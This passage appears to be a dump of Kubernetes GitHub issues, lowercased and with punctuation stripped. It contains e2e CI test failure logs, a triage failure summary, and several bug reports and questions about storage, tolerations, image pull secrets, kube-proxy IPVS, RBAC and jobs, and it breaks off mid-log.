0x4db9a20 }}, reason:\\\ newreplicasetavailable\\\ , message:\\\ replicaset \\\\\\\ nginx-3456377791\\\\\\\  has successfully progressed.\\\ }}}\ ,     }     error waiting for deployment \ nginx\  status to match expectation: deployment status: v1beta1.deploymentstatus{observedgeneration:17, replicas:5, updatedreplicas:5, readyreplicas:4, availablereplicas:4, unavailablereplicas:1, conditions:  v1beta1.deploymentcondition{v1beta1.deploymentcondition{type:\ available\ , status:\ true\ , lastupdatetime:v1.time{time:time.time{sec:63624490644, nsec:183421024, loc:  time.location  0x4db9a20 }}, lasttransitiontime:v1.time{time:time.time{sec:63624490644, nsec:183421185, loc:  time.location  0x4db9a20 }}, reason:\ minimumreplicasavailable\ , message:\ deployment has minimum availability.\ }, v1beta1.deploymentcondition{type:\ progressing\ , status:\ true\ , lastupdatetime:v1.time{time:time.time{sec:63624490648, nsec:498956047, loc:  time.location  0x4db9a20 }}, lasttransitiontime:v1.time{time:time.time{sec:63624490608, nsec:566553752, loc:  time.location  0x4db9a20 }}, reason:\ newreplicasetavailable\ , message:\ replicaset \\\ nginx-3456377791\\\  has successfully progressed.\ }}} not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1375     issues about this test specifically:  36265  36353  36628   failed:  k8s.io  replicationcontroller should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:41 expected error:     < errors.errorstring | 0xc4203fd0e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:141     issues about this test specifically:  26870  36429   failed:  k8s.io  deployment deployment should support rollover {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:76 expected error:     < errors.errorstring | 0xc42178ae60>: {         s: \ failed to wait for pods running:  timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:452     issues about this test specifically:  26509  26834  29780  35355  38275  39879   failed:  k8s.io  secrets should be consumable via the environment  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/secrets.go:425 wait for pod \ pod-configmaps-c3fabcac-0338-11e7-952e-0242ac11000a\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4203574e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:146       failed:  k8s.io  networking should check kube-proxy urls {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:84 expected error:     < errors.errorstring | 0xc4203a20e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32436  37267   failed:  k8s.io  disruptioncontroller evictions: too few pods, absolute => should not allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:126 mar  7 05:21:15.026: couldn't delete ns: \ e2e-tests-disruption-hpw3q\ : namespace e2e-tests-disruption-hpw3q was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-disruption-hpw3q was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:276     issues about this test specifically:  32639   failed:  k8s.io  deployment scaled rollout deployment should not block on annotation check {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:94 expected error:     < errors.errorstring | 0xc420d37d30>: {         s: \ failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:976     issues about this test specifically:  30100  31810  34331  34717  34816  35337  36458   failed:  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:798 mar  7 05:22:24.708: verified 0 of 1 pods , error : timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:299     issues about this test specifically:  28774  31429   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:38 expected error:     < errors.errorstring | 0xc4203fc400>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32375   failed: install_gcloud {pre-setup}                      your current cloud sdk version is: 146.0.0 installing components from version: 146.0.0  +----------------------------------------------------+ |        these components will be installed.         | +-----------------------------+------------+---------+ |             name            |  version   |   size  | +-----------------------------+------------+---------+ | gcloud-deps  linux, x86_64  | 2017.02.21 | 3.9 mib | +-----------------------------+------------+---------+  for the latest full release notes, please visit:   https://cloud.google.com/sdk/release_notes   ============================================================   = creating update staging area                             =   ============================================================   = installing: gcloud-deps  linux, x86_64                   =   ============================================================   = creating backup and activating new installation          =   ============================================================   performing post processing steps... ...........failed. warning: post processing failed.  run  gcloud info --show-log  to view the failures.  update done!  traceback  most recent call last :   file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 206, in <module>     main     file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 191, in main     sdk_root=bootstrapping.sdk_root, typeerror: updaterc   got an unexpected keyword argument 'completion_update'                   issues about this test specifically:  32669  36416  36842  40203  42227   failed:  k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:372 expected error:     < errors.errorstring | 0xc4217900b0>: {         s: \ timeout while waiting for pods with labels \\\ app=guestbook,tier=frontend\\\  to be running\ ,     }     timeout while waiting for pods with labels \ app=guestbook,tier=frontend\  to be running not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1662     issues about this test specifically:  26175  26846  27334  28293  29149  31884  33672  34774   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:45 expected error:     < errors.errorstring | 0xc4203a20e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32830   failed:  k8s.io  downward api should provide container's limits.cpu/memory and requests.cpu/memory as env vars  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downward_api.go:130 wait for pod \ downward-api-31b84790-0338-11e7-9b18-0242ac11000a\  to disappear expected success, but got an error:     < errors.errorstring | 0xc42043cae0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:146       failed:  k8s.io  service endpoints latency should not be very high  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_latency.go:117 did not get a good sample size:    less than two runs succeeded; aborting. not all rc/pod/service trials succeeded: only 0 pods started out of 1 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_latency.go:88     issues about this test specifically:  30632   failed:  k8s.io  projected updates should be reflected in volume  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:509 expected error:     < errors.errorstring | 0xc42043cae0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:81       failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048   failed:  k8s.io  initcontainer should invoke init containers on a restartnever pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/init_container.go:118 expected     < errors.errorstring | 0xc42043dde0>: {         s: \ timed out waiting for the condition\ ,     } to be nil /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/init_container.go:96     issues about this test specifically:  31936   failed:  k8s.io  configmap optional updates should be reflected in volume  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:126 mar  7 05:20:34.472: couldn't delete ns: \ e2e-tests-configmap-x6zp1\ : namespace e2e-tests-configmap-x6zp1 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-configmap-x6zp1 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:276       failed:  k8s.io  services should be able to up and down services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:318 expected error:     < errors.errorstring | 0xc420f4cba0>: {         s: \ only 2 pods started out of 3\ ,     }     only 2 pods started out of 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:280     issues about this test specifically:  26128  26685  33408  36298   failed:  k8s.io  docker containers should be able to override the image's default arguments  docker cmd   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/docker_containers.go:44 wait for pod \ client-containers-417768d0-0338-11e7-baa0-0242ac11000a\  to disappear expected success, but got an error:     < errors.errorstring | 0xc420459a10>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:146     issues about this test specifically:  36706   failed:  k8s.io  projected should provide node allocatable  memory  as default memory limit if the limit is not set  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:967 wait for pod \ downwardapi-volume-32a3c38f-0338-11e7-9bb5-0242ac11000a\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4203f4c30>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:146       failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:59 expected error:     < errors.errorstring | 0xc4203fd0e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  35283  36867   failed:  k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:340 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://api.e2e-kops-aws-release-16.test-aws.k8s.io --kubeconfig=/tmp/kops-kubecfg188756796 rolling-update update-demo-nautilus --update-period=1s -f - --namespace=e2e-tests-kubectl-rn63c      0xc420ccea40 created update-demo-kitten\ scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods \ scaling update-demo-kitten up to 1\ scaling update-demo-nautilus down to 1\ scaling update-demo-kitten up to 2\  error: timed out waiting for any update progress to be made\     <nil> 0xc420ccd860 exit status 1 <nil> <nil> true  0xc4202c4188 0xc4202c41b0 0xc4202c41d0   0xc4202c4188 0xc4202c41b0 0xc4202c41d0   0xc4202c4190 0xc4202c41a8 0xc4202c41b8   0xcad6f0 0xcad7f0 0xcad7f0  0xc4202e45a0 <nil>}:\ command stdout:\ created update-demo-kitten\ scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods \ scaling update-demo-kitten up to 1\ scaling update-demo-nautilus down to 1\ scaling update-demo-kitten up to 2\ \ stderr:\ error: timed out waiting for any update progress to be made\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://api.e2e-kops-aws-release-16.test-aws.k8s.io --kubeconfig=/tmp/kops-kubecfg188756796 rolling-update update-demo-nautilus --update-period=1s -f - --namespace=e2e-tests-kubectl-rn63c      0xc420ccea40 created update-demo-kitten     scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods      scaling update-demo-kitten up to 1     scaling update-demo-nautilus down to 1     scaling update-demo-kitten up to 2      error: timed out waiting for any update progress to be made         <nil> 0xc420ccd860 exit status 1 <nil> <nil> true  0xc4202c4188 0xc4202c41b0 0xc4202c41d0   0xc4202c4188 0xc4202c41b0 0xc4202c41d0   0xc4202c4190 0xc4202c41a8 0xc4202c41b8   0xcad6f0 0xcad7f0 0xcad7f0  0xc4202e45a0 <nil>}:     command stdout:     created update-demo-kitten     scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods      scaling update-demo-kitten up to 1     scaling update-demo-nautilus down to 1     scaling update-demo-kitten up to 2          stderr:     error: timed out waiting for any update progress to be made          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2098     issues about this test specifically:  26425  26715  28825  28880  32854

failure cluster  ea6679417165f10786e6  https://go.k8s.io/triage ea6679417165f10786e6        error text:     error during ./hack/e2e-internal/e2e-up.sh: exit status 1           failure cluster statistics: 1 tests failed,    29 jobs failed,    464 builds failed. failure stats cover 1 day time range '12 may 2017 18:02 utc' to '13 may 2017 18:02 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 29 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-cos-docker-validation-slow | 221 |  13 may 2017 17:57 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-cos-docker-validation-slow/222  | | ci-kubernetes-e2e-gke-1.4-1.5-gci-kubectl-skew | 23 |  12 may 2017 20:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-1.4-1.5-gci-kubectl-skew/12628  | | ci-kubernetes-e2e-gke-master-1.6-gci-kubectl-skew-serial | 21 |  12 may 2017 20:22 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-1.6-gci-kubectl-skew-serial/4840  |        previously closed issues for this cluster:  45381    current status  https://go.k8s.io/triage ea6679417165f10786e6

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r bug\r \r   what happened  :\r when i described a node, i found that the value of  storage.kubernetes.io/scratch  is  0 .\r \r   what you expected to happen  :\r the value of  storage.kubernetes.io/scratch  should be the storage size that the node could offer, like  cpu  or  memory  resource.\r \r   how to reproduce it  as minimally and precisely as possible   :\r in kubernetes-v1.7.0, do the following:\r \r    shell\r $ kubectl describe node some_node | grep \ storage.kubernetes.io/scratch\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  : vultr\r - os  e.g. from /etc/os-release : ubuntu16.04\r - kernel  e.g.  uname -a  : 4.4.0-83-generic\r - install tools:  kismatic  https://github.com/apprenda/kismatic/ \r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r \r >  \r \r   what happened  :\r ! image  https://user-images.githubusercontent.com/8565764/29612872-01623b64-8836-11e7-911e-3be1436aba13.png \r \r today i found many pvs  in my k8s cluster are pending and i cann't know what's hapened.it cannot work well when i create a new pv.i'm using network file system and it work well.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r ! version  https://user-images.githubusercontent.com/8565764/29613215-9aaa655c-8837-11e7-8672-00d93d124237.png \r \r \r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : linux  3.10.0-514.10.2.el7.x86_64\r - install tools: kubeadm\r - others:\r

see update at https://github.com/kubernetes/kubernetes/issues/52202 issuecomment-329888449   \r \r currently, if you're writing an initializer controller, you're most likely using it to initialize a  pod  and deploying the controller with  deployment . therefore you're likely using the following trick to avoid the chicken and egg problem:\r \r    yaml\r metadata:\r   initializers:\r     pending:   \r    \r \r this bypasses the initializers for the pods and lets your controller to be deployed even though your initializerconfiguration is configured to capture all pods.\r \r problem occurs when you   apply an update   to this deployment with the same manifest containing empty pending list. you get error:\r \r    \r the deployment \ my-initializer\  is invalid: metadata.initializers:\r invalid value: \ null\ : field is immutable once initialization has completed\r    \r \r i think this is a somewhat major ux issue. it requires users to deploy the initializer controller with the  metadata.initializers.pending=    but later on when they need to update the controller with  kubectl apply , they can't use the same manifest containing the empty list.\r \r /area api\r /area extensibility\r   /assign @caesarxuchao

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r when using  scheduler.alpha.kubernetes.io/defaulttolerations , if \ operator\  is missing tolerators.areequal   returns false even if the pod spec tolerations matches but with an explicit operator  equal .\r \r   what you expected to happen  :\r \r \ operator\  is default to  equal , and i would expect areequal   returns true if  operator  is missing because it defaults to be  equal .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r with podtolerationrestriction admission controller enabled, set annotation \r \r  scheduler.alpha.kubernetes.io/defaulttolerations: ' {\ key\ :\ tkey\ ,value\ :\ tvalue\ ,\ effect\ :\ noschedule\ } ' \r \r in a namespace, and tolerate the following in a pod spec,\r \r    \r       tolerations:\r       - effect: noschedule\r         key: tkey\r         operator: \ equal\ \r         value: \ tvalue\ \r    \r \r the pod would fail to create due to\r \r  namespace tolerations and pod tolerations conflict \r \r   anything else we need to know?  :\r \r happy to look into it and submit a pr if this is a bug that should be fixed.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration: bare metal/on-prem\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : 4.13.8\r - install tools: custom/ansible\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have a deployment configuration like:\r \r    \r - apiversion: extensions/v1beta1\r   kind: deployment\r   metadata:\r     annotations:\r       kompose.cmd: kompose convert -o k8s\r       kompose.version: 1.6.0  e4adfef \r     creationtimestamp: null\r     labels:\r       io.kompose.service: user\r     name: user\r   spec:\r     replicas: 1\r     strategy: {}\r     template:\r       metadata:\r         creationtimestamp: null\r         labels:\r           io.kompose.service: user\r       spec:\r         containers:\r         - env:\r           - name: app_debug\r             value: \ 0\ \r           - name: app_env\r             value: prod\r           image: \ user/private-repo\ \r           name: user\r           resources: {}\r         restartpolicy: always\r         imagepullsecrets:\r           - name: regsecret\r   status: {}\r    \r where   regsecret   is a secret created following  the official doc  https://kubernetes.io/docs/concepts/containers/images/ specifying-imagepullsecrets-on-a-pod  but the created pod failed to pull the image because authentication and the pod does not mount the specified secret, see describe:\r \r    \r name:           user-798fc86589-2lmd4\r namespace:      default\r node:           ip-172-31-9-21/172.31.9.21\r start time:     wed, 03 jan 2018 19:13:17 +0000\r labels:         io.kompose.service=service\r                 pod-template-hash=3549742145\r annotations:    <none>\r status:         pending\r ip:             10.1.98.124\r controlled by:  replicaset/user-798fc86589\r containers:\r   service:\r     container id:   \r     image:          user/private-repo\r     image id:       \r     port:           <none>\r     state:          waiting\r       reason:       errimagepull\r     ready:          false\r     restart count:  0\r     environment:\r       app_debug:  0\r       app_env:    prod\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-4tdzg  ro \r conditions:\r   type           status\r   initialized    true \r   ready          false \r   podscheduled   true \r volumes:\r   default-token-4tdzg:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-4tdzg\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                 age                from                     message\r   ----     ------                 ----               ----                     -------\r   normal   scheduled              11m                default-scheduler        successfully assigned service-798fc86589-2lmd4 to ip-172-31-9-21\r   normal   successfulmountvolume  11m                kubelet, ip-172-31-9-21  mountvolume.setup succeeded for volume \ default-token-4tdzg\ \r   warning  failed                 10m  x2 over 11m   kubelet, ip-172-31-9-21  failed to pull image \ user/private-repo\ : rpc error: code = unknown desc = error response from daemon: repository primoshome/service not found: does not exist or no pull access\r   warning  failed                 10m  x2 over 11m   kubelet, ip-172-31-9-21  error: errimagepull\r   normal   backoff                10m  x5 over 11m   kubelet, ip-172-31-9-21  back-off pulling image \ user/private-repo\ \r   normal   sandboxchanged         10m  x7 over 11m   kubelet, ip-172-31-9-21  pod sandbox changed, it will be killed and re-created.\r   normal   pulling                10m  x3 over 11m   kubelet, ip-172-31-9-21  pulling image \ user/private-repo\ \r   warning  failed                 1m  x52 over 11m   kubelet, ip-172-31-9-21  error: imagepullbackoff\r    \r \r   what you expected to happen  :\r \r i expect the pod to be configured with the secret and be able to pull the image from the private repository\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r exec above configuration with any private repository\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : linux ip-172-31-10-97 4.4.0-64-generic  85-ubuntu smp mon feb 20 11:50:30 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: ubuntu official kubernetes  juju \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r kube-proxy in ipvs mode periodically reconciles the ipvs configuration as part of which it takes out the configuration that might be configured by other application running on the system.\r \r   what you expected to happen  :\r kube-proxy should only remove the configuration that it added to the ipvs table.\r \r   how to reproduce it  as minimally and precisely as possible   :\r assuming you have a kubernetes cluster with kube-proxy in ipvs mode. the issue is easy to reproduce with ipvsadm tool:\r    \r 1. configure a dummy ipvs configuration only any node\r        sudo ipvsadm -a -t 207.175.44.110:80 -s rr\r        sudo ipvsadm -a -t 207.175.44.110:80 -r 192.168.10.1:80 -m\r 2. check the ipvs configuration   it might already be gone \r        sudo ipvsadm -l\r    \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.1\r - os  e.g. from /etc/os-release :  coreos 1465.6.0\r

hello,\r i am getting following error : \r \r >  root@centos-master ~   kubectl --context=root-context get pods --namespace=shopping\r > error from server  forbidden : pods is forbidden: user \ root\  cannot list pods in the namespace \ shopping\ \r >  root@centos-master ~  \r > \r > \r i have created role and role-binding as follows :\r \r >  root@centos-master ~   cat deployment.yaml\r    \r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r   name: deployment-manager\r   namespace: shopping\r   rules:\r     -\r       apigroups:\r         - \ \ \r         - extensions\r         - apps\r       resources:\r         - deployments\r         - replicasets\r         - pods\r       verbs:\r         - \  \ \r    \r \r \r and rolebinding is as follows : \r \r >  root@centos-master ~   cat rolebinding-deployment.yaml\r    \r apiversion: rbac.authorization.k8s.io/v1\r kind: rolebinding\r metadata:\r   name: deployment-manager-binding\r   namespace: shopping\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: role\r   name: deployment-manager\r subjects:\r   - apigroup: rbac.authorization.k8s.io\r     kind: user\r     name: root\r    \r \r using following command i have created the resources \r \r > kubectl create -f rolebinding-deployment.yaml\r > kubectl create --validate=false -f deployment.yaml\r \r here the kubectl config \r \r >  root@centos-master ~   kubectl config view\r > apiversion: v1\r > clusters:\r > - cluster:\r >     certificate-authority-data: redacted\r >     server: https://10.0.7.6:6443\r >   name: kubernetes\r > contexts:\r > - context:\r >     cluster: kubernetes\r >     user: kubernetes-admin\r >   name: kubernetes-admin@kubernetes\r > - context:\r >     cluster: kubernetes\r >     namespace: shopping\r >     user: root\r >   name: root-context\r > current-context: kubernetes-admin@kubernetes\r > kind: config\r > preferences: {}\r > users:\r > - name: kubernetes-admin\r >   user:\r >     client-certificate-data: redacted\r >     client-key-data: redacted\r > - name: root\r >   user:\r >     client-certificate: /etc/kubernetes/pki/root.crt\r >     client-key: /etc/kubernetes/pki/root.key\r >  root@centos-master ~  \r > \r \r my understanding is , using above role permission , u should be able to list and deploy pods ... not getting why the error though....\r do i need to create the clusterole as well .... i think , its not required as i am not doing anything on cluster level ... i just need permission on namespace level and this configuration is enough i guess ....\r \r please suggest , how could i resolve this error ...\r thanks \r \r

  \r we are hosting various databases within our stack that are spread across various pods.  within each pod, we have two containers, the db instance and a side-car container containing various db specific mgmt scripts.  these scripts serve various purposes and some are long-lived and some are single quick on-demand queries that return data.\r \r we have been considering using jobs to communicate with the db instance vs. having a permanent side-car container, however, the overhead of spinning up a completely new pod with each execution seems like overkill.    \r \r has any consideration been given to provide jobs more flexibility around where the actual execution should take place?  \r \r example:  instead of building out a completely new pod to execute a simple one-liner, i'd love to be able to target a specific pod and container to carry out a given task. \r \r thoughts?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i tried to play with helm chart for incubator/jeager but then attempted to delete the install, which the delete timed-out. in order to remove the assets the chart install created, i had to delete the replaceset/deployments. however, after this, kubelet started erroring constantly trying to teardown the pod that no longer exists.\r \r    \r jun  8 22:53:30 atlas-01 kubelet: e0608 22:53:30.195821    7906 kuberuntime_gc.go:153  failed to stop sandbox \ 636f41863b1e9b0da2c3a72bbe55f937f71197a20253fd1c6128019403e1ad3a\  before removing: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ es-master-7fb4d9447d-bj7z8_jaeger\  network: failed to find plugin \ flannel\  in path  /opt/flannel/bin /opt/cni/bin \r jun  8 22:53:30 atlas-01 dockerd-current: time=\ 2018-06-08t22:53:30.195593926-07:00\  level=error msg=\ handler for post /v1.26/containers/636f41863b1e9b0da2c3a72bbe55f937f71197a20253fd1c6128019403e1ad3a/stop returned error: container 636f41863b1e9b0da2c3a72bbe55f937f71197a20253fd1c6128019403e1ad3a is already stopped\ \r jun  8 22:53:30 atlas-01 kubelet: w0608 22:53:30.197413    7906 cni.go:242  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ bc3475ad2f23826b8deee760615aa04c0a12ec4c62f33a6b1404ad6243de4d20\ \r jun  8 22:53:30 atlas-01 kubelet: e0608 22:53:30.197459    7906 cni.go:279  error deleting network: failed to find plugin \ flannel\  in path  /opt/flannel/bin /opt/cni/bin \r jun  8 22:53:30 atlas-01 kubelet: e0608 22:53:30.197970    7906 remote_runtime.go:115  stoppodsandbox \ bc3475ad2f23826b8deee760615aa04c0a12ec4c62f33a6b1404ad6243de4d20\  from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ es-master-7fb4d9447d-bj7z8_jaeger\  network: failed to find plugin \ flannel\  in path  /opt/flannel/bin /opt/cni/bin \r jun  8 22:53:30 atlas-01 dockerd-current: time=\ 2018-06-08t22:53:30.197815751-07:00\  level=error msg=\ handler for post 